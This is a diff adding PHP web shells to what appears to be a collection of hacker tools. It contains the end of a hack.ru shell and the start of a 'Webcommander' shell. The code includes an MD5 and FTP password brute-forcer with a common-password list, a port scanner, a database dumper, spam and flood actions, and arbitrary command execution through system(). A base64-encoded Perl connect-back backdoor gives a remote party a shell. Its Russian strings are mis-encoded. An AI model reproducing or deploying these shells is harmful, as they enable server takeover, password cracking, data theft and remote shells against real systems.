+for ($i16 = 0; $i16 <= $c; $i16++) {
+$word[16] = $chars_de{$i16};
+if ($next <= 16) {
+result(implode($word));
+}else {
+for ($i17 = 0; $i17 <= $c; $i17++) {
+$word[17] = $chars_de{$i17};
+if ($next <= 17) {
+result(implode($word));
+}else {
+for ($i18 = 0; $i18 <= $c; $i18++) {
+$word[18] = $chars_de{$i18};
+if ($next <= 18) {
+result(implode($word));
+}else {
+for ($i19 = 0; $i19 <= $c; $i19++) {
+$word[19] = $chars_de{$i19};
+if ($next <= 19) {
+result(implode($word));
+}else {
+for ($i20 = 0; $i20 <= $c; $i20++) {
+$word[20] = $chars_de{$i20};
+if ($next <= 20) {
+result(implode($word));
+}else {
+for ($i21 = 0; $i21 <= $c; $i21++) {
+$word[21] = $chars_de{$i21};
+if ($next <= 21) {
+result(implode($word));
+}else {
+for ($i22 = 0; $i22 <= $c; $i22++) {
+$word[22] = $chars_de{$i22};
+if ($next <= 22) {
+result(implode($word));
+}else {
+for ($i23 = 0; $i23 <= $c; $i23++) {
+$word[23] = $chars_de{$i23};
+if ($next <= 23) {
+result(implode($word));
+}else {
+for ($i24 = 0; $i24 <= $c; $i24++) {
+$word[24] = $chars_de{$i24};
+if ($next <= 24) {
+result(implode($word));
+}else {
+for ($i25 = 0; $i25 <= $c; $i25++) {
+$word[25] = $chars_de{$i25};
+if ($next <= 25) {
+result(implode($word));
+}else {
+for ($i26 = 0; $i26 <= $c; $i26++) {
+$word[26] = $chars_de{$i26};
+if ($next <= 26) {
+result(implode($word));
+}else {
+for ($i27 = 0; $i27 <= $c; $i27++) {
+$word[27] = $chars_de{$i27};
+if ($next <= 27) {
+result(implode($word));
+}else {
+for ($i28 = 0; $i28 <= $c; $i28++) {
+$word[28] = $chars_de{$i28};
+if ($next <= 28) {
+result(implode($word));
+}else {
+for ($i29 = 0; $i29 <= $c; $i29++) {
+$word[29] = $chars_de{$i29};
+if ($next <= 29) {
+result(implode($word));
+}else {
+for ($i30 = 0; $i30 <= $c; $i30++) {
+$word[30] = $chars_de{$i30};
+if ($next <= 30) {
+result(implode($word));
+}else {
+for ($i31 = 0; $i31 <= $c; $i31++) {
+$word[31] = $chars_de{$i31};
+if ($next <= 31) {
+result(implode($word));
+
+}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
+
+function result($word) {
+global $dat,$date;
+$pass_de=$_POST[pass_de];
+$dat2=date("H:i:s");
+$date2=date("d:m:Y");
+
+if(md5($word)==$pass_de){
+print "
+
+ Ðåçóëüòàò âûïîëíåíèÿ ïåðåáîðà ïàðîëåé:
+ Çàõåøèðîâàííûé ïàðîëü: $word
+ Íà÷àëî ïåðåáîðà: $dat - $date
+ Îêîí÷àíèå ïåðåáîðà: $dat2 - $date2
+ Âûïîëíåíèå ïåðåáîðà õåøåé çàïèñàí â ôàéë: ".$word."_md5
+
+ ";
+ $f=@fopen($word._md5,"a+");
+ fputs($f,"Õýø èç MD5 [$pass_de] = $word\nÍà÷àëî ïåðåáîðà:\t$dat - $date\nÎêîí÷àíèå ïåðåáîðà:\t$dat2 - $date2\n ");
+ exit;}
+
+
+
+}
+
+function brut_ftp() {
+ global $action,$private_site, $title_exp,$login, $host, $file, $chislo, $proverka;
+set_time_limit(0);
+ignore_user_abort(1);
+echo "
+
+Áðóòôîðñåð ÔÒÏ
+Ñ ïîìîùüþ äàííîãî áðóòôîðñåðà âû ñìîæåòå ïîäîáðàòü ïàðîëü ê ëþáîìó õîñòèíãó áåç ïðîáëåì, ÷òîáû áûëî ÷òî ïåðåáèðàòü ÿ äîáàâèë áàçó
+ïàðîëåé, êîòîðàÿ ãåíåðèðóåòñÿ íà ëåòó ( íå ïèøèòå áîëüøèå öèôðû â êîëëè÷åñòâå ïàðîëåé òàê êàê ýòî ñåðüåçíàÿ íàãðóçêà íà ñåðâåð 10000 âïîëíå õâàòèò) .
+
";
+
+ echo "
+ ";
+
+
+function s() {
+ $word="qwrtypsdfghjklzxcvbnm";
+ return $word[mt_rand(0,strlen($word)-1)];
+}
+
+function g() {
+ $word="euioam";
+ return $word[mt_rand(0,strlen($word)-2)];
+}
+
+function name0() { return s().g().s(); }
+function name1() { return s().g().s().g(); }
+function name2() { return s().g().g().s(); }
+function name3() { return s().s().g().s().g(); }
+function name4() { return g().s().g().s().g(); }
+function name5() { return g().g().s().g().s(); }
+function name6() { return g().s().s().g().s(); }
+function name7() { return s().g().g().s().g(); }
+function name8() { return s().g().s().g().g(); }
+function name9() { return s().g().s().g().s().g(); }
+function name10() { return s().g().s().s().g().s().s(); }
+function name11() { return s().g().s().s().g().s().s().g(); }
+
+$cool=array(1,2,3,4,5,6,7,8,9,10,99,100,111,111111,666,1978,1979,1980,1981,1982,1983,1984,1985,1986,1987,1988,1989,1990,1991,1992,1993,1994,1995,1996,1997,1998,1999,2000,2001,2002,2003,2004,2005);
+$cool2=array('q1w2e3','qwerty','qwerty111111','123456','1234567890','0987654321','asdfg','zxcvbnm','qazwsx','q1e3r4w2','q1r4e3w2','1q2w3e','1q3e2w','poiuytrewq','lkjhgfdsa','mnbvcxz','asdf','root','admin','admin123','lamer123','admin123456','administrator','administrator123','q1w2e3r4t5','root123','microsoft','muther','hacker','hackers','cracker');
+
+function randword() {
+ global $cool;
+ $func="name".mt_rand(0,11);
+ $func2="name".mt_rand(0,11);
+ switch (mt_rand(0,11)) {
+ case 0: return $func().mt_rand(5,99);
+ case 1: return $func()."-".$func2();
+ case 2: return $func().$cool[mt_rand(0,count($cool)-1)];
+ case 3: return $func()."!".$func();
+ case 4: return randpass(mt_rand(5,12));
+ default: return $func();
+ }
+
+
+}
+
+function randpass($len) {
+ $word="qwertyuiopasdfghjklzxcvbnm1234567890";
+ $s="";
+ for ($i=0; $i<$len; $i++) {
+ $s.=$word[mt_rand(0,strlen($word)-1)];
+ }
+ return $s;
+}
+if (@unlink("pass.txt") < 0){
+echo "íåòó íè÷åãî";
+exit;
+}
+$file="pass.txt";
+if($file && $host && $login){
+ $cn=mt_rand(30,30);
+for ($i=0; $i<$cn; $i++) {
+ $s=$cool2[$i];
+ $f=@fopen(pass.".txt","a+");
+ fputs($f,"$s\n");
+ }
+
+ $cnt2=mt_rand(43,43);
+for ($i=0; $i<$cnt2; $i++) {
+ $r=$cool[$i];
+ $f=@fopen(pass.".txt","a+");
+ fputs($f,"$login$r\n");
+}
+$p="$proverka";
+ $f=@fopen(pass.".txt","a+");
+ fputs($f,"$p\n");
+
+ $cnt3=mt_rand($chislo,$chislo);
+ for ($i=0; $i<$cnt3; $i++) {
+ $u=randword();
+ $f=@fopen(pass.".txt","a+");
+ fputs($f,"$u\n");
+ }
+
+ if(is_file($file)){
+ $passwd=file($file,1000);
+ for($i=0; $i
+Ïîçäðàâëÿþ!!! Ïàðîëü ïîäîáðàí.
+ Êîíåêò: $host Ëîãèí: $login Ïàðîëü: $password
+";exit;
+ }
+ elseif(preg_match("/530/",$text)){
+ $stop=true;
+
+ }
+ }
+ fclose($open_ftp);
+ }else{
+ echo "
+
+Íå âåðíî óêàçàíî ôòï õîñòèíãà!!! Íà $host çàêðûò 21 ïîðò
+
+";exit;
+ }
+ }
+ }
+}
+
+}
+
+# Ïîðòñêàí
+function portscan() {
+ global $action,$portscan,$port,$HTTP_HOST,$min,$max;
+
+ $mtime = explode(" ",microtime());
+ $mtime = $mtime[1] + $mtime[0];
+ $time1 = $mtime;
+
+ $id = $HTTP_HOST;
+ echo "Ðåçóëüòàòû ñêàíèðîâàíèÿ: $idÑêàíèðóåì õîñòèíã íà íàëè÷èå îòêðûòûõ ïîðòîâ" . "...
";
+
+ $lport = $min;
+ $hport = $max;
+ $op = 0;
+ $gp = 0;
+
+ for ($porta=$lport; $porta<=$hport; $porta++) {
+ $fp = @fsockopen("$id", $porta, &$errno, &$errstr, 4);
+ if ( !$fp ) { $gp++; }
+ else {
+ $port_addres = $port[$porta];
+ if($port_addres == "") $port_addres = "unknown";
+ $serv = getservbyport($porta, TCP);
+ echo "Port:$porta / $serv $port_addres (×òî ýòî? ) ";
+ $op++;
+ }
+ }
+
+ if($op == 0) echo "Íà äàííîì õîñòèíãå íåò îòêðûòûõ ïîðòîâ
";
+
+ $unsi = ($op/$porta)*100;
+ $unsi = round($unsi);
+
+ echo "Ñòàòèñòèêà ñêàíèðîâàíèÿ: ";
+ echo "Ïðîñêàíèðîâàííûõ ïîðòîâ: $porta ";
+ echo "Îòêðûòûõ ïîðòîâ: $op ";
+ echo "Çàêðûòûõ ïîðòîâ: $gp ";
+
+ $mtime = explode(" ",microtime());
+ $mtime = $mtime[1] + $mtime[0];
+ $time2 = $mtime;
+ $loadtime = ($time2 - $time1);
+ $loadtime = round($loadtime, 2);
+
+ echo "Âðåìÿ ñêàíèðîâàíèÿ: $loadtime ñåêóíä
";
+}
+
+function nfm_copyright() {
+global $action;
+ return "Powered by channel #hack.ru (author xoce). Made In Russia
";
+
+}
+
+// =-=-=-=-= SQL MODULE =-=-=-=-=
+// SQL functions start
+function aff_date() {
+ $date_now=date("F j,Y,g:i a");
+ return $date_now;
+}
+
+function sqldumptable($table) {
+ global $sv_s,$sv_d,$drp_tbl;
+ $tabledump = "";
+ if ($sv_s) {
+ if ($drp_tbl) { $tabledump.="DROP TABLE IF EXISTS $table;\n"; }
+ $tabledump.="CREATE TABLE $table (\n";
+ $firstfield=1;
+ $champs=mysql_query("SHOW FIELDS FROM $table");
+ while ($champ=mysql_fetch_array($champs)) {
+ if (!$firstfield) { $tabledump.=",\n"; }
+ else { $firstfield=0;}
+ $tabledump.=" $champ[Field] $champ[Type]";
+ if ($champ['Null'] !="YES") { $tabledump.=" NOT NULL";}
+ if (!empty($champ['Default'])) { $tabledump.=" default '$champ[Default]'";}
+ if ($champ['Extra'] !="") { $tabledump.=" $champ[Extra]";}
+ }
+
+ @mysql_free_result($champs);
+ $keys=mysql_query("SHOW KEYS FROM $table");
+ while ($key=mysql_fetch_array($keys)) {
+ $kname=$key['Key_name'];
+ if ($kname !="PRIMARY" and $key['Non_unique']==0) { $kname="UNIQUE|$kname";}
+ if(!is_array($index[$kname])) { $index[$kname]=array();}
+ $index[$kname][]=$key['Column_name'];
+ }
+
+ @mysql_free_result($keys);
+ while(list($kname,$columns)=@each($index)) {
+ $tabledump.=",\n";
+ $colnames=implode($columns,",");
+ if($kname=="PRIMARY") { $tabledump.=" PRIMARY KEY ($colnames)";}
+ else {
+ if (substr($kname,0,6)=="UNIQUE") { $kname=substr($kname,7);}
+ $tabledump.=" KEY $kname ($colnames)";
+ }
+ }
+ $tabledump.="\n);\n\n";
+ }
+
+ if ($sv_d) {
+ $rows=mysql_query("SELECT * FROM $table");
+ $numfields=mysql_num_fields($rows);
+ while ($row=mysql_fetch_array($rows)) {
+ $tabledump.="INSERT INTO $table VALUES(";
+ $cptchamp=-1;
+ $firstfield=1;
+ while (++$cptchamp<$numfields) {
+ if (!$firstfield) { $tabledump.=",";}
+ else { $firstfield=0;}
+ if (!isset($row[$cptchamp])) {$tabledump.="NULL";}
+ else { $tabledump.="'".mysql_escape_string($row[$cptchamp])."'";}
+ }
+ $tabledump.=");\n";
+ }
+ @mysql_free_result($rows);
+ }
+
+ return $tabledump;
+}
+
+function csvdumptable($table) {
+ global $sv_s,$sv_d;
+ $csvdump="## Table:$table \n\n";
+ if ($sv_s) {
+ $firstfield=1;
+ $champs=mysql_query("SHOW FIELDS FROM $table");
+ while ($champ=mysql_fetch_array($champs)) {
+ if (!$firstfield) { $csvdump.=",";}
+ else { $firstfield=0;}
+ $csvdump.="'".$champ['Field']."'";
+ }
+
+ @mysql_free_result($champs);
+ $csvdump.="\n";
+ }
+
+ if ($sv_d) {
+ $rows=mysql_query("SELECT * FROM $table");
+ $numfields=mysql_num_fields($rows);
+ while ($row=mysql_fetch_array($rows)) {
+ $cptchamp=-1;
+ $firstfield=1;
+ while (++$cptchamp<$numfields) {
+ if (!$firstfield) { $csvdump.=",";}
+ else { $firstfield=0;}
+ if (!isset($row[$cptchamp])) { $csvdump.="NULL";}
+ else { $csvdump.="'".addslashes($row[$cptchamp])."'";}
+ }
+ $csvdump.="\n";
+ }
+ }
+
+ @mysql_free_result($rows);
+ return $csvdump;
+}
+
+function write_file($data) {
+ global $g_fp,$file_type;
+ if ($file_type==1) { gzwrite($g_fp,$data); }
+ else { fwrite ($g_fp,$data); }
+}
+
+function open_file($file_name) {
+ global $g_fp,$file_type,$dbbase,$f_nm;
+ if ($file_type==1) { $g_fp=gzopen($file_name,"wb9"); }
+ else { $g_fp=fopen ($file_name,"w"); }
+
+ $f_nm[]=$file_name;
+ $data="";
+ $data.="##\n";
+ $data.="## NFM hack.ru creator \n";
+ $data.="##-------------------------\n";
+ $data.="## Date:".aff_date()."\n";
+ $data.="## Base:$dbbase \n";
+ $data.="##-------------------------\n\n";
+ write_file($data);
+ unset($data);
+}
+
+function file_pos() {
+ global $g_fp,$file_type;
+ if ($file_type=="1") { return gztell ($g_fp); }
+ else { return ftell ($g_fp); }
+}
+
+function close_file() {
+ global $g_fp,$file_type;
+ if ($file_type=="1") { gzclose ($g_fp); }
+ else { fclose ($g_fp); }
+}
+
+function split_sql_file($sql) {
+ $morc=explode(";",$sql);
+ $sql="";
+ $output=array();
+ $matches=array();
+ $morc_cpt=count($morc);
+ for ($i=0;$i < $morc_cpt;$i++) {
+ if (($i !=($morc_cpt-1)) || (strlen($morc[$i] > 0))) {
+ $total_quotes=preg_match_all("/'/",$morc[$i],$matches);
+ $escaped_quotes=preg_match_all("/(? ".nfm_copyright();
+
+ // SQL actions STARTS
+
+ if ($sqlaction=='save') {
+ if ($secu==1) {
+ $fp=fopen($secu_config,"w");
+ fputs($fp,"");
+ fclose($fp);
+ }
+ if (!is_array($tbls)) {
+ echo $header."
+ÒÛ ÇÀÁÛË âûäåëèòü íóæíûå òåáå òàáëèöû äëÿ äàìïèíãà =) \n$footer";
+ exit;
+ }
+ if($f_cut==1) {
+ if (!is_numeric($max_sql)) {
+ echo $header."Îøèáêà. \n$footer";
+ exit;
+ }
+ if ($max_sql < 200000) {
+ echo $header."áàçà sql áîëüøå 200 000 ìá \n$footer";
+ exit;
+ }
+ }
+
+ $tbl=array();
+ $tbl[]=reset($tbls);
+ if (count($tbls) > 1) {
+ $a=true;
+ while ($a !=false) {
+ $a=next($tbls);
+ if ($a !=false) { $tbl[]=$a; }
+ }
+ }
+
+ if ($opt==1) { $sv_s=true; $sv_d=true; }
+ else if ($opt==2) { $sv_s=true;$sv_d=false;$fc ="_struct"; }
+ else if ($opt==3) { $sv_s=false;$sv_d=true;$fc ="_data"; }
+ else { exit; }
+
+ $fext=".".$savmode;
+ $fich=$dbbase.$fc.$fext;
+ $dte="";
+ if ($ecraz !=1) { $dte=date("dMy_Hi")."_"; } $gz="";
+ if ($file_type=='1') { $gz.=".gz"; }
+ $fcut=false;
+ $ftbl=false;
+ $f_nm=array();
+ if($f_cut==1) { $fcut=true;$max_sql=$max_sql;$nbf=1;$f_size=170;}
+ if($f_tbl==1) { $ftbl=true; }
+ else {
+ if(!$fcut) { open_file("dump_".$dte.$dbbase.$fc.$fext.$gz); }
+ else { open_file("dump_".$dte.$dbbase.$fc."_1".$fext.$gz); }
+ }
+
+ $nbf=1;
+ mysql_connect($dbhost,$dbuser,$dbpass);
+ mysql_select_db($dbbase);
+ if ($fext==".sql") {
+ if ($ftbl) {
+ while (list($i)=each($tbl)) {
+ $temp=sqldumptable($tbl[$i]);
+ $sz_t=strlen($temp);
+ if ($fcut) {
+ open_file("dump_".$dte.$tbl[$i].$fc.".sql".$gz);
+ $nbf=0;
+ $p_sql=split_sql_file($temp);
+ while(list($j,$val)=each($p_sql)) {
+ if ((file_pos()+6+strlen($val)) < $max_sql) { write_file($val.";"); }
+ else { close_file(); $nbf++; open_file("dump_".$dte.$tbl[$i].$fc."_".$nbf.".sql".$gz); write_file($val.";"); }
+ }
+ close_file();
+ }
+ else { open_file("dump_".$dte.$tbl[$i].$fc.".sql".$gz);write_file($temp."\n\n");close_file();$nbf=1; }
+ $tblsv=$tblsv."".$tbl[$i]." , ";
+ }
+ } else {
+ $tblsv="";
+ while (list($i)=each($tbl)) {
+ $temp=sqldumptable($tbl[$i]);
+ $sz_t=strlen($temp);
+ if ($fcut && ((file_pos()+$sz_t) > $max_sql)) {
+ $p_sql=split_sql_file($temp);
+ while(list($j,$val)=each($p_sql)) {
+ if ((file_pos()+6+strlen($val)) < $max_sql) { write_file($val.";"); }
+ else {
+ close_file();
+ $nbf++;
+ open_file("dump_".$dte.$dbbase.$fc."_".$nbf.".sql".$gz);
+ write_file($val.";");
+ }
+ }
+ } else { write_file($temp); }
+ $tblsv=$tblsv."".$tbl[$i]." , ";
+ }
+ }
+ }
+ else if ($fext==".csv") {
+ if ($ftbl) {
+ while (list($i)=each($tbl)) {
+ $temp=csvdumptable($tbl[$i]);
+ $sz_t=strlen($temp);
+ if ($fcut) {
+ open_file("dump_".$dte.$tbl[$i].$fc.".csv".$gz);
+ $nbf=0;
+ $p_csv=split_csv_file($temp);
+ while(list($j,$val)=each($p_csv)) {
+ if ((file_pos()+6+strlen($val)) < $max_sql) { write_file($val."\n"); }
+ else {
+ close_file();
+ $nbf++;
+ open_file("dump_".$dte.$tbl[$i].$fc."_".$nbf.".csv".$gz);
+ write_file($val."\n");
+ }
+ }
+ close_file();
+ } else {
+ open_file("dump_".$dte.$tbl[$i].$fc.".csv".$gz);
+ write_file($temp."\n\n");
+ close_file();
+ $nbf=1;
+ }
+ $tblsv=$tblsv."".$tbl[$i]." , ";
+ }
+ } else {
+ while (list($i)=each($tbl)) {
+ $temp=csvdumptable($tbl[$i]);
+ $sz_t=strlen($temp);
+ if ($fcut && ((file_pos()+$sz_t) > $max_sql)) {
+ $p_csv=split_sql_file($temp);
+ while(list($j,$val)=each($p_csv)) {
+ if ((file_pos()+6+strlen($val)) < $max_sql) { write_file($val."\n"); }
+ else {
+ close_file();
+ $nbf++;
+ open_file("dump_".$dte.$dbbase.$fc."_".$nbf.".csv".$gz);
+ write_file($val."\n");
+ }
+ }
+ } else { write_file($temp); }
+ $tblsv=$tblsv."".$tbl[$i]." , ";
+ }
+ }
+ }
+
+ mysql_close();
+ if (!$ftbl) { close_file(); }
+
+ echo $header;
+ echo "Âñå äàííûå â ýòèõ òàáëèöàõ: ".$tblsv." ïîìåùåíû â ôàéë óêàçàííûé íèæå: Ôàéë Ðàçìåð ";
+ reset($f_nm);
+ while (list($i,$val)=each($f_nm)) {
+ $coul='#99CCCC';
+ if ($i % 2) { $coul='#CFE3E3'; }
+ echo " ".$val." ";
+ $fz_tmp=filesize($val);
+ if ($fcut && ($fz_tmp > $max_sql)) {
+ echo " ".$fz_tmp." Octets ";
+ } else {
+ echo " ".$fz_tmp." áàéò ";
+ }
+ echo " ";
+ }
+ echo "
";
+ echo $footer;exit;
+ }
+
+ if ($sqlaction=='connect') {
+ if(!@mysql_connect($dbhost,$dbuser,$dbpass)) {
+ echo $header."Ïîäêëþ÷åíèå íå âîçìîæíî! Ïðîâåðüòå ïðàâèëüíî ëè ââåäåíû äàííûå! \n$footer";
+ exit;
+ }
+
+ if(!@mysql_select_db($dbbase)) {
+ echo $header."<Ïîäêëþ÷åíèå íå âîçìîæíî! Ïðîâåðüòå ïðàâåëüíî ëè ââåäèíû äàííûå! \n$footer";
+ exit;
+ }
+
+ if ($secu==1) {
+ if (!file_exists($secu_config)) {
+ $fp=fopen($secu_config,"w");
+ fputs($fp,"");
+ fclose($fp);
+ }
+ include($secu_config);
+ } else {
+ if (file_exists($secu_config)) { unlink($secu_config); }
+ }
+
+ mysql_connect($dbhost,$dbuser,$dbpass);
+ $tables=mysql_list_tables($dbbase);
+ $nb_tbl=mysql_num_rows($tables);
+
+ echo $header."Âûáèðèòå íóæíûå âàì òàáëèöû äëÿ äàìïèíãà!
$footer";
+ exit;
+ }
+
+// SQL actions END
+
+ if(file_exists($secu_config)) {
+ include ($secu_config);
+ $ck="checked";
+ } else {
+ $dbhost="localhost";
+ $dbbase="";
+ $dbuser="root";
+ $dbpass="";
+ $ck="";
+ }
+
+ echo $header."
+
+ ";
+
+}
+// SQL END
+
+/* main() */
+set_time_limit(0);
+
+if ( $action !="download") print("$HTML");
+
+if (!isset($cm)) {
+ if (!isset($action)) {
+ if (!isset($tm)) { $tm = getcwd(); }
+ $curdir = getcwd();
+ if (!@chdir($tm)) exit("Íåò äîñòóïà ê äåðèêòîðèè, ñìîòðè CHMOD.
");
+ getdir();
+ chdir($curdir);
+ $supsub = $gdir[$j-1];
+ if (!isset($tm) ) { $tm=getcwd();}
+ readdirdata($tm);
+ } else {
+ switch ($action) {
+ case "view":
+ viewfile($tm,$fi);
+ break;
+ case "delete":
+ echo " ";
+ deletef($tm);
+ break;
+ case "download":
+ if (isset($fatt) && strlen($fatt)>0) {
+ $attach=$fatt;
+ header("Content-type: text/plain");
+ }
+ else {
+ $attach=$fi;
+ header("Content-type: hackru");
+ }
+ header("Content-disposition: attachment; filename=\"$attach\";");
+ readfile($tm."/".$fi);
+ break;
+ case "download_mail":
+ download_mail($tm,$fi);
+ break;
+ case "edit":
+ editfile($tm,$fi);
+ break;
+ case "save":
+ savefile($tm,$fi);
+ break;
+ case "uploadd":
+ uploadtem();
+ break;
+ case "up":
+ up($tm);
+ break;
+ case "newdir":
+ newdir($tm);
+ break;
+ case "createdir":
+ cdir($tm);
+ break;
+ case "deldir":
+ deldir();
+ break;
+ case "feedback":
+ mailsystem();
+ break;
+ case "upload":
+ upload();
+ break;
+ case "help":
+ help();
+ break;
+ case "ftp":
+ ftp();
+ break;
+ case "portscan":
+ portscan();
+ break;
+ case "sql":
+ sql();
+ break;
+ case "tar":
+ tar();
+ break;
+ case "bash":
+ bash();
+ break;
+ case "passwd":
+ passwd();
+ break;
+ case "exploits":
+ exploits($dir);
+ break;
+ case "upload_exploits":
+ upload_exploits($dir);
+ break;
+ case "upload_exploitsp":
+ upload_exploitsp($dir);
+ break;
+ case "arhiv":
+ arhiv($tm,$pass);
+ break;
+ case "crypte":
+ crypte();
+ break;
+ case "decrypte":
+ decrypte();
+ break;
+ case "brut_ftp":
+ brut_ftp();
+ break;
+ case "copyfile":
+ copyfile($tm,$fi);
+ break;
+ case "down":
+ down($dir);
+ break;
+ case "downfiles":
+ downfiles($dir);
+ break;
+ case "spam":
+ spam();
+ break;
+ case "flud":
+ flud();
+ break;
+ case "spam1":
+ spam1($file);
+ break;
+ case "del":
+ del();
+ break;
+ }
+ }
+} else {
+ echo "Âûïîëåíî: $cm ";
+ echo system($cm);
+ echo "
";
+}
+
+if ($action !="download" && $action != "flud" && $action != "down" && $action != "del" && $action != "spam1" && $action != "spam" && $action != "brut_ftp" && $action != "download_mail" && $action != "copyfile" && $action != "crypte" && $action != "decrypte" && $action != "exploits" && $action != "arhiv" && $action != "download_mail2" && $action != "feedback" && $action != "uploadd" && $action != "newdir" && $action != "edit" && $action != "view" && $action != "help" && $action != "ftp" && $action != "portscan" && $action != "sql" && $action != "tar" && $action != "bash" && $action != "anonimmail") {
+ echo " ";
+ $perdir = @permissions(fileperms($tm));
+ if ($perdir && $perdir[7] == "w" && isset($tm)) uploadtem();
+ else echo "Íå ìîãó çàãðóæàòü ôàéëû â ýòîé äåðèêòîðèè
";
+ if ($perdir[7] == "w" && isset($tm)) {
+ echo "";
+ } else {
+ echo "Íå ìîãó ñîçäàòü ïàïêó â ýòîé äåðèêòîðèè
";
+ }
+}
+
+if ($action !="download" && $action != "flud" && $action != "down" && $action != "del" && $action != "spam" && $action != "spam1" && $action != "brut_ftp" && $action != "download_mail" && $action != "copyfile" && $action != "crypte" && $action != "decrypte" && $action != "exploits" && $action != "arhiv" && $action != "download_mail2" && $action != "feedback" && $action != "uploadd" && $action != "newdir" && $action != "edit" && $action != "view" && $action != "help" && $action != "aliases" && $action != "portscan" && $action != "ftp" && $action != "sql" && $action != "tar" && $action != "bash" && $action != "anonimmail") {
+ echo "";
+}
+
+if ( $action !="download") echo nfm_copyright();
+?>
diff --git a/xakep-shells/PHP/ngh.php.php.txt b/xakep-shells/PHP/ngh.php.php.txt
new file mode 100644
index 0000000..b5e334a
--- /dev/null
+++ b/xakep-shells/PHP/ngh.php.php.txt
@@ -0,0 +1,462 @@
+
+/* Webcommander by Cr4sh_aka_RKL v0.3.9 NGH edition :p */
+
+$script = $_SERVER["SCRIPT_NAME"];
+
+/* username and pass here ***************/
+
+$user = "yourlogin";
+$pass = "yourpass";
+
+/****************************************/
+
+$login = @$_POST['login'];
+$luser = @$_POST['user'];
+$lpass = @$_POST['pass'];
+$act = @$_GET['act'];
+
+ $logo = "R0lGODlhMAAwAOYAAAAAAP////r6+jEvKzQ0NQICATc3HiAgGyoqJxsbGQ4ODXl5dPr68m1taoWFgj4+Pf39+vr6+Obm5Pj49/Ly"
+ ."8ezs693d3MXFxJaWlV5dRtDOnquphqumcCcmGrezf8G9icnFlKCdet/br9jUqePgt+fkvOTj1X94PJKLUby7sk9JHF9ZKnJrPDk4"
+ ."MEdAFD08NqqnmBUUEGxoVtnTukdFPV1cWGZlYezjxPXv2JCNgoN8ZuDcz3VvX/Dnz9vWx8fDt/jz5ZmWjrOwp/bz67mxnOrgyLu1"
+ ."p9PNwfLt41BPTamoprGYabqrkK6gh+vcwu7izOLKpObSsujVtY6Cb+nXuerZveHFnbymheTNqubQrvf18ruedvDm2LW0s9DPz/v7"
+ ."+7m5uQUFBQICAv///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+ ."AAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAGMALAAAAAAwADAAAAf/gGOCg4SFhoeIiYqLjI2OhFORUzqUOjyXlzKaMjU1SQ0L"
+ ."j4tTXWCmp6inXV1KGA6doaKIU2ACtre4uBUSXmAODhhJsoe0uca4FLxKCxcYL8OFOrXH1BQWXjYSFw4E0IPF1NQVFUkC2tzeY9K2"
+ ."BQhJDzEAAOEU5ebb3dDSCghdFBS7MDSQZ2tCriQVb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VULCI+JkNPTk4iOw0Kb3BlbiBTVERFUlIsIj4mQ09O"
+ ."TiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3NlIENPTk47DQpl"
+ ."eGl0IDA7DQp9DQp9";
+/* connectback-backdoor on perl ********/
+ $backcon = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj"
+ ."aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1p"
+ ."bmV0X2F0b24oJHRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIp"
+ ."IHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9J"
+ ."TkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8"
+ ."fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsN"
+ ."Cm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7"
+ ."DQpjbG9zZShTVERFUlIpOw==";
+
+if ($act == "showlogo") {
+ header("Content-type: image/gif");
+ echo base64_decode($logo);
+ exit;
+}
+if ($login) {
+ Sleep(1);
+ if ($luser == $user && $lpass == $pass) {
+ setcookie("logined", $pass);
+ } else {
+ die("Login error ");
+ }
+} else {
+ $logined = @$_COOKIE['logined'];
+ if ($logined != $pass) {
+?>
+ method=POST>
+ user:
+ pass:
+
+
+
+ exit;
+ }
+}
+?>
+
+
+
+ Webcommander at =$_SERVER["HTTP_HOST"]?>
+
+
+
+$path = @rawurldecode($_GET['dir']);
+$cmd = @$_GET['cmd'];
+if ($act == "mass") {
+ $post = array_keys($_POST);
+ $todo = $_POST[$post[sizeof($post)-2]];
+ $to = $_POST[$post[sizeof($post)-1]];
+ for ($i = 0; $i < sizeof($post)-2; $i++) {
+ if ($_POST[$post[$i]]) {
+ if ($todo == "del") {
+ rm($_POST[$post[$i]]);
+ }
+ elseif ($todo == "mv") {
+ mvcp($_POST[$post[$i]], $to."/".$post[$i], $todo);
+ }
+ else {
+ mvcp($_POST[$post[$i]], $to."/".$post[$i], "cp");
+ }
+ }
+ }
+ //exit;
+}
+elseif ($act == mkdir) {
+ $dirname = @$_POST['dirname'];
+ $path = @$_POST['dir'];
+ if (!$dirname) die("Âåäèòå èìÿ \n");
+ if (!@mkdir($path.$dirname)) die("Íåìîãó ñîçäàòü ïàïêó \n");
+}
+elseif ($act == upload) {
+ $userfile = @$_FILES['userfile']['tmp_name'];
+ $uploaddir = @$_POST['uploaddir'];
+ if (is_uploaded_file($userfile)) {
+ @copy($userfile, $uploaddir.$_FILES['userfile']['name']);
+ @unlink($userfile);
+ $path = $uploaddir;
+ } else die("Îøèáêà ïðè çàãðóçêå ôàéëà \n");
+}
